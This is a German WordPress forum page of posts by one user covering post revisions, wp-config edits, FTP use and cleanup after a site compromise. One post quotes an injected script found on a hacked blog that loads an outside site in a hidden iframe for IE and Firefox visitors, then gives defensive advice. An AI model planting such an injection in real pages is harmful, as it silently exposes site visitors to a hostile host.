Beiträge von Domino5702

    Neuester Stand: jungfräulicher Blog WordPress 3.3.1 DE-Edition, nur mit Artikel "Hallo Welt".

    Bevor der Artikel nicht einmal frisch gespeichert wurde -und es somit also noch gar keine Revisionen geben kann - erscheinen die Revisionen tatsächlich nicht unter den Optionen. Hat man auch nur 1 Mal gespeichert (auch wenn keine Veränderungen vorgenommen wurden) erscheinen die Revisionen unter den Optionen - scheint mir auch logisch zu sein.

    @Bambaata: warum wieso - ich habe keine Ahnung, aber ich musste noch nie was manuell setzen (soweit man das bei einem alten Mann wie mir noch mit Sicherheit sagen kann, aber ich sag mal: das wüsste ich!) :D

    Cache, Cookies kann ich auch ausschliessen, und browserabhängig ist es auch nicht.

    OK, unter den default filters in wp-includes/default-filters.php findet sich diese Zeile (in der aktuellen Version - zumindest bei mir - Zeile 251):

    Zitat

    add_action( 'pre_post_update', 'wp_save_post_revision' );

    Es ist also definitiv eine Core Funktionalität.

    Zitat

    Siehe auch hier, interessanterweise steht da, dass der Wert WP_POST_REVISIONS true das default ist, ich denke, da ist der Codex-Beitrag nicht mehr ganz aktuell.

    Sorry, wenn ich mich selbst zitiere, aber in diesem Punkt bin ich weiter gekommen: WP sieht standardmässig vor, dass Beiträge zwischengespeichert werden (autosave), daraus ergibt sich jeweils eine aktuelle Version. Daneben werden ja vom Beitragsschreiber vielleicht Zwischenspeicherungen vorgenommen, die man eben "zurückrollen" kann - also revidieren. Will man diese Möglichkeit (aus Performancegründen, etc.) nicht nutzen, kann man über wp_config.php die WP_POST_REVISIONS auf false setzen. Dazu auch dieser Beitrag hier.

    Etwas anderes ist, ob man diese Revisionen einblendet oder nicht - diese Einstellung ist standardmässig eben nicht aktiviert, also der Benutzer muss dies explizit "on" schalten - daher ist es unter den Optionen.

    Zitat

    PS: Ich kann es auch nicht leiden wenn man nicht vernünftig ein Problem erörtert sondern gleich Oberlehrerhaft rüberkommt ala Blödsinn :wink: Mich zumindest interessiert das, warum es bei Dir so ist und bei mir und auch anderen eben nicht.

    Ja, das interessiert mich auch! Bevor ich meinen ersten Beitrag zum Thema verfasst habe, habe ich in 3 verschiedenen Blogs von mir geprüft, ob das, was ich sage, wirklich auch stimmt. Und ich wollte mich vergewissern, wie der Punkt nun wirklich heisst (obwohl Shadow wusste auch sofort, was da gemeint war). Ein Plugin, was dieses Teil einfügen könnte, habe ich nicht am Laufen, in keinem Blog - wozu auch, WP bietet das ja von Haus aus an. (Siehe auch hier, interessanterweise steht da, dass der Wert WP_POST_REVISIONS true das default ist, ich denke, da ist der Codex-Beitrag nicht mehr ganz aktuell.)

    Jetzt, nachdem Du die Screenshots eingestellt hast, bin ich noch einmal hingegangen, und habe einzelne Artikel und auch Seiten verglichen: sowohl bei ganz frischen, wie auch bei älteren Beiträgen habe ich unter Optionen einblenden diese "Revisionen" drin.


    PS. Vielleicht ist aber einfach nur bei Deinem Empfänger was "kaputt", denn was ich schreibe ist nicht Oberlehrerhaft gemeint. Und Deine Antwort kann man auch so lesen, als dass Du die Schreiberin eines besseren belehren wolltest. Aber damit will ich es dann auch belassen, denn es bringt hier niemandem was.

    Und warum heissen die Revisionen? Schaut doch mal nach!

    Das ist in der DE-Edition 3.3.1 bei den erstellten Artikeln unter Optionen einblenden und ist standardmässig ausgeblendet - und ich verwechsle jetzt ganz sicher gar nichts und was gesucht ist, wurde von der Threaderstellerin und einem meiner Vorrednern genauestens beschrieben. Darauf habe ich ebenfalls genau geantwortetr und nu werde ich mit Semantik niedergemacht?

    Übrigens, Entwurf ist beim speichern, und erscheint nicht untereinander - weder rot noch sonstwie!

    Sorry, es ist immer noch Quatsch, was ihr beide schribt, Bambaata und infected!

    Mithilfe des FTP-Clients kommst Du auf den Server und ins Verzeichnis, wo die Datei wp-config.php liegt. Diese klickst Du mit der rechten Maustaste an und wählst dann Ansehen. Dann öffnet sich der Editor mit dem Inhalt Deiner wp-config.php .Du machst die Änderungen gemäss Anleitung, speicherst die Datei und gehst zurück zum FTP-Client. Es wird Dir die Möglichkeit angeboten, die Datei auf den Server zurückzuschreiben, was Du mit OK bestätigen sollst. Das war's - bzw. dann geht es weiter gemäss Anleitung.

    Zitat

    Nun ja wenn es ein Plugin war (was es wohl war, den wp zeigt die nicht von sich aus an)

    Mit Verlaub, das ist Quatsch. Die Revisionen werden zwar standardmässig nicht angezeigt, man kann sie aber jederzeit wieder sichtbar machen, oben rechts im Artikel bzw. Seiten bearbeiten unter "Optionen einblenden" - das is so ein graues Kästchen, unterhalb vom Logout im Dashboard rechts. Danach erscheinen sie am gewohnten Ort, unten auf der Seite.

    Zitat

    Das mit dem wp als Tabellenpräfix versteh ich nur nicht, wo schaut man das nach??

    Das ist eine der Angaben, die man in die wp-config.php schreibt beim Aufsetzen des Blogs. Dies nachträglich zu ändern ist allerdings eher eine umständliche Geschichte - und ich habe leider auch kein aktuelles Tut, wovon ich Dir den Link hier reinstellen könnte. Sorry. :(

    Zitat

    Ich hab im Quellcode nach der Wordpress Version geschaut

    OK, soweit bin ich nicht gegangen. ;)

    Im Footer auf der Themeseite ist auch ein Link zu einem Tutorial, haste den mal angeschaut? Und da ist auch von Plugins die Rede, die man auch benötigt zum Theme.

    Kleiner Tipp: Pfadangaben kann man auch von Anfang an relativ machen, damit es solche Probleme nicht gibt. OK, würde voraussetzen, dass man seine Prioritäten im Griff hat: den Link zu WordPress zu entfernen war offensichtlich wichtiger, als die Inhalte. Das ist ein Friedhof bisher, aber sicher keine Website.

    Wichtiger als das Plugin Search And Replace scheint mir ein Wartungsmodus-Plugin. Muss ja nicht jeder Zeuge der "Missetaten" werden. :D

    Zitat

    ... ich kann dir nur raten die wp-login.php zu schützen. die waren nicht auf deinem server, was ja auch dein provider sagt, die waren schlicht und einfach in deinem blog (dashboard) selber und haben da was gemacht.


    Wie kommst Du denn da drauf? Das ist die Art von gefährlichem Halbwissen, die niemandem was nützt.

    Es gibt in der Tat einen gewissen Anteil von Hackerangriffen, die von einem Account aus andere Accounts auf dem selben Server zum Ziel haben. Der Hoster - falls er gut genug ist, das überhaupt festzustellen - sagt davon natürlich erst einmal gar nichts, denn er müsste ja dann eingestehen, dass er in der Pflicht ist.

    Ein Absichern des Admin-Bereichs macht durchaus Sinn, wie das geht, findet man hier oder auch hier.

    Werr ein wenig Englisch kann, dme sei auch dieser ausgezeichnete Artikel empfohlen, der auch seither nichts an Aktualität eingebüsst hat. (hier insbesondere den Abschnitt über "script injections" beachten)

    Recht wenig bekannt ist, dass eines der am meisten genützten FTP-Clients dazu beiträgt, dass die FTP-Zugangsdaten ziemlich einfach auszuspähen sind: FileZilla speichert Passwörter unverschlüsselt. Daher ist es unbedingt ratsam, (a) FTP Zugangsdaten nicht im Client zu speichern, (b) persönliche Daten am Ende jeder Session zu löschen (unter Bearbeiten). So bequem der Server Manager ist, für mich ist er eine Lücke - mein kleines Notizheft, was ich neben dem Rechner liegen habe, kann kein Programm auslesen, mein FileZilla-Client ist trotz guter Absicherung meiner Umgebung, für mich nicht sicher genug.

    Wer sich die Mühe gemacht hat, das obige Skript mal anzuschauen, fragt sich sicher, was denn daran so gefährlich sein soll.

    Code
    <script>
    var url = "http://hotplay24.net";
    if ((navigator.userAgent.toLowerCase().indexOf("msie" ) >= 0) || (navigator.userAgent.toLowerCase().indexOf("firefo x") >= 0)){
    var f = document.createElement('iframe');
    f.setAttribute("width", "1");
    f.setAttribute("height", "1");
    f.setAttribute("src", url);
    f.setAttribute("style", "visibility: hidden; position: absolute; left: 0pt; top: 0pt;");
    document.getElementsByTagName("body")[0].appendChild(f);}
    </script>


    Gefährlich ist die Tatsache, dass das Skript überhaupt da ist. Er hat auch nur die Aufgabe, Sicherheitslücken auszuspähen. Sitzt der Code unentdeckt in der Datei, kann ein anderes Späherprogramm dies feststellen, und wirkliche Schadcodes haben ein "Zuhause" gefunden. Daher müssen nach einem solchen Befall wirklich alle Schadcodes entfernt werden. Ich empfehle meinen Kunden zudem, für einen kurzen Zeitraum alle Dateirechte von befallenen Dateien auf CHMOD 444 zu setzen - nach meinen bisherigen Erfahrungen (über 2 Jahre mit dieser Methode) hat das nie zu Fehlfunktionen in WordPress geführt. Und eine Site, bei der die anzugreifenden Dateien nicht beschreibbar sind, wird für Angreifer uninteressant.

    Ach ja, und falls es jemandem nicht klar sein sollte: selbstverständlich sind alle Passwörter zu ändern, nach einem Befall: auch FTP und Hoster-Zugänge. Und ich richte niemals einen Blog ein, bei dem der Admin "admin" heisst, und wo das Tabellenpräfix "wp_" lautet. :) Und falls mal ein Kunde da meckert, wird er schlicht daran erinnert, dass es in seinem Geldbeutel Weh tut, und meinen Geldbautel anwachsen lässt, wenn er auf solch einfache Mittel verzichten will. Hat bisher immer funktioniert. ;)

    Ich hoffe, ich konnte etwas Licht ins Dunkle bringen - im Übrigen, nichts von dem, was ich jetzt geschrieben habe, steht zum ersten Mal in diesem Forum. Die SuFu ist Dein Freund - wenn der erste Schreck verflogen ist. ;)

    Mit "position:fixed;" und dann entsprechenden Angaben zu top/ und left/right kannst Du ein Div entsprechend aus dem Seitenfluss rausnehmen und irgendwo fest positionieren. Das Div setzt du dann entsprechend ein, je nach dem, wie Dein Design aussieht, in single oder category oder page oder was auch immer Seiten.